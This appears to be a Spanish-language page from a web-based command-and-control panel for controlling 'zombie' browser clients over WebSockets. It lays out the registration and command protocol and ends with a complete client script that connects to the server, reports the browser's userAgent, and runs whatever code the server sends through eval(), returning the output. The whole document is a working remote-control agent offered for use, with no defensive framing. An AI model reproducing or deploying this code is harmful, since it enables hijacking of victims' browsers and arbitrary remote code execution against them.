| ID | IP | Última vez | Acción |
|---|
Esta utilidad permite controlar clientes (zombies) a través de WebSockets.
Usa este token en tus scripts para conectar zombies a tu cuenta sin exponer tu JWT del panel.
const ws = new WebSocket(`wss://${window.location.host}/c2/ws?token=TU_TOKEN_DE_ZOMBIE`);
Nota: Sustituye TU_TOKEN_DE_ZOMBIE por el token mostrado arriba.
Inmediatamente después de conectar, el zombie DEBE enviar un mensaje de registro:
{
"tipo": "registro",
"id": "zombie_001",
"info": { "userAgent": navigator.userAgent }
}
El servidor enviará comandos con este formato:
{
"tipo": "comando",
"comando_id": 123,
"comando": "ejecutar",
"datos": {
"codigo": "alert('hola');"
}
}
El zombie debe evaluar el código y responder con el resultado:
{
"tipo": "resultado",
"comando_id": 123,
"resultado": "Ejecución exitosa"
}
const token = "PEGAR_TOKEN_ZOMBIE_AQUI";
const ws = new WebSocket(`wss://${window.location.host}/c2/ws?token=${token}`);
ws.onopen = () => {
ws.send(JSON.stringify({
tipo: "registro",
id: "zombie_" + Math.floor(Math.random() * 10000),
info: { userAgent: navigator.userAgent }
}));
};
ws.onmessage = (event) => {
const msg = JSON.parse(event.data);
if (msg.tipo === "ping") {
ws.send(JSON.stringify({ tipo: "pong" }));
return;
}
if (msg.tipo === "comando" && msg.comando === "ejecutar") {
try {
// Guardamos el comando_id en una variable global temporal para scripts asíncronos
window._current_cmd_id = msg.comando_id;
const res = eval(msg.datos.codigo);
ws.send(JSON.stringify({
tipo: "resultado",
comando_id: msg.comando_id,
ok: true,
resultado: String(res)
}));
} catch(e) {
ws.send(JSON.stringify({
tipo: "resultado",
comando_id: msg.comando_id,
ok: false,
resultado: "Error: " + e.message
}));
}
}
};